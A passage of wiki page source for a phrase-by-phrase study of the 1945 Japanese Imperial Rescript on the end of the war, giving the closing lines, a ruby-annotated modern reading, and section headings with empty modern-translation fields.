style=&quot;color:#500;&quot;&gt;精&amp;#xE0100;&lt;/span&gt;華ヲ發揚シ世界ノ&lt;span style=&quot;color:#500;&quot;&gt;進&amp;#xE0101;&lt;/span&gt;運󠄁ニ後レサラムコトヲ期スヘシ爾臣民其レ克ク&lt;span style=&quot;color:#500;&quot;&gt;朕&amp;#xE0102;&lt;/span&gt;カ意ヲ體セヨ&lt;/p&gt;
&lt;p style=&quot;background-color:#ffe; line-height:1.5; font-family:游明朝;font-size:13pt;&quot;&gt;&lt;ruby&gt;&lt;rb&gt;朕&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;は&lt;ruby&gt;&lt;rb&gt;玆&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ここ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に &lt;ruby&gt;&lt;rb&gt;国&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;体&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;たい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;護&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ご&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;持&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;し&lt;ruby&gt;&lt;rb&gt;得&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;え&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;て、&lt;ruby&gt;&lt;rb&gt;忠&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちゅう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;良&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;りょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;なる&lt;ruby&gt;&lt;rb&gt;爾&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;なんじ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;臣&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;民&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;みん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;赤&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せき&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;誠&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;信&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;倚&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;い&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;し、&lt;ruby&gt;&lt;rb&gt;常&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;つね&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;爾&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;なんじ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;臣&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;民&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;みん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;と&lt;ruby&gt;&lt;rb&gt;共&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;とも&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;在&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;あ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;り。
&lt;ruby&gt;&lt;rb&gt;若&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;も&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;し&lt;ruby&gt;&lt;rb&gt;夫&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;そ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;れ&lt;ruby&gt;&lt;rb&gt;情&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;激&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;げき&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;する&lt;ruby&gt;&lt;rb&gt;所&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ところ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;、&lt;ruby&gt;&lt;rb&gt;濫&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;みだり&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;事&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;端&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;たん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;滋&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しげ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;くし、&lt;ruby&gt;&lt;rb&gt;或&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;あるい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;は&lt;ruby&gt;&lt;rb&gt;同&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;どう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;胞&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ほう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;排&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;はい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;擠&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;さい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;、&lt;ruby&gt;&lt;rb&gt;互&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;たがい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;時&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;局&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;きょく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;乱&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;みだ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;り、&lt;ruby&gt;&lt;rb&gt;為&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ため&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;大&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;だい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;道&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;どう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;誤&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;あやま&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;り、&lt;ruby&gt;&lt;rb&gt;信&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;義&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ぎ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;世&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;界&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;失&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;うしな&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;うが&lt;ruby&gt;&lt;rb&gt;如&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ごと&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;きは、&lt;ruby&gt;&lt;rb&gt;朕&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;最&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;もっと&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;も&lt;ruby&gt;&lt;rb&gt;之&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;これ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;戒&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;いまし&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;む、&lt;ruby&gt;&lt;rb&gt;宜&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;よろ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;しく&lt;ruby&gt;&lt;rb&gt;挙&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;きょ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;国&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;一&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;いっ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;家&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;か&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;子&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;し&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;孫&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;そん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;相&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;あい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;伝&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;つた&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;え、
&lt;ruby&gt;&lt;rb&gt;確&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かた&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;く&lt;ruby&gt;&lt;rb&gt;神&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;州&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しゅう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;不&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ふ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;滅&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;めつ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;信&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;じ、&lt;ruby&gt;&lt;rb&gt;任&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;にん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;重&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;おも&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;くして、&lt;ruby&gt;&lt;rb&gt;道&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;みち&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;遠&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;とお&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;きを&lt;ruby&gt;&lt;rb&gt;念&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;おも&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;い、&lt;ruby&gt;&lt;rb&gt;総&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;そう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;力&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;りょく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;将&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;来&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;らい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;建&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;けん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;設&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せつ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;傾&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かたむ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;け、&lt;ruby&gt;&lt;rb&gt;道&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;どう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;義&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ぎ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;篤&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;あつ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;くし、&lt;ruby&gt;&lt;rb&gt;志&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;し&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;操&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;そう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;鞏&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かた&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;くし、&lt;ruby&gt;&lt;rb&gt;誓&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちかっ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;て&lt;ruby&gt;&lt;rb&gt;国&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;体&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;たい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;精&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;華&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;か&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;発&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;はつ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;揚&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;よう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;し、&lt;ruby&gt;&lt;rb&gt;世&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;界&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;進&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;運&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;うん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;後&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;おく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;れざらんことを&lt;ruby&gt;&lt;rb&gt;期&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;き&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;すべし。&lt;ruby&gt;&lt;rb&gt;爾&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;なんじ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;臣&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;民&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;みん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;其&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;そ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;れ
&lt;ruby&gt;&lt;rb&gt;克&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;よ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;く&lt;ruby&gt;&lt;rb&gt;朕&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が&lt;ruby&gt;&lt;rb&gt;意&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;い&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;体&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;たい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;せよ。&lt;/p&gt;
&lt;/div&gt;
# [[#朕&amp;#xE0102;ハ玆ニ國體ヲ護持シ得テ]]
# [[#忠良ナル爾臣民ノ赤誠&amp;#xE0101;ニ信倚シ]]
# [[#常ニ爾臣民ト共ニ在リ]]
# [[#若シ夫レ情&amp;#xE0101;ノ激スル所&amp;#xE0101;]]
# [[#濫ニ事端ヲ滋クシ]]
# [[#或ハ同胞&amp;#xE0101;排擠]]
# [[#互ニ時局ヲ亂リ]]
# [[#爲ニ大道&amp;#xE0101;ヲ誤&amp;#xE0101;リ]]
# [[#信義ヲ世界ニ失フカ如キハ]]
# [[#朕&amp;#xE0102;最モ之ヲ戒ム]]
# [[#宜シク擧國一家子孫相傳ヘ]]
# [[#確ク神&amp;#xE0100;州ノ不滅ヲ信シ]]
# [[#任重クシテ]]
# [[#道&amp;#xE0101;遠&amp;#xE0101;キヲ念ヒ]]
# [[#總力ヲ將來ノ建&amp;#xE0101;設ニ傾ケ]]
# [[#道&amp;#xE0101;義ヲ篤クシ]]
# [[#志操ヲ鞏クシ]]
# [[#誓テ國體ノ精&amp;#xE0100;華ヲ發揚シ]]
# [[#世界ノ進&amp;#xE0101;運󠄁ニ後レサラムコトヲ期スヘシ]]
# [[#爾臣民其レ克ク朕&amp;#xE0102;カ意ヲ體セヨ]]

=== 朕&amp;#xE0102;ハ玆ニ國體ヲ護持シ得テ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 忠良ナル爾臣民ノ赤誠&amp;#xE0101;ニ信倚シ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 常ニ爾臣民ト共ニ在リ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 若シ夫レ情&amp;#xE0101;ノ激スル所&amp;#xE0101; ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 濫ニ事端ヲ滋クシ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 或ハ同胞&amp;#xE0101;排擠 ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 互ニ時局ヲ亂リ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 爲ニ大道&amp;#xE0101;ヲ誤&amp;#xE0101;リ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 信義ヲ世界ニ失フカ如キハ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 朕&amp;#xE0102;最モ之ヲ戒ム ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 宜シク擧國一家子孫相傳ヘ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 確ク神&amp;#xE0100;州ノ不滅ヲ信シ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 任重クシテ ===
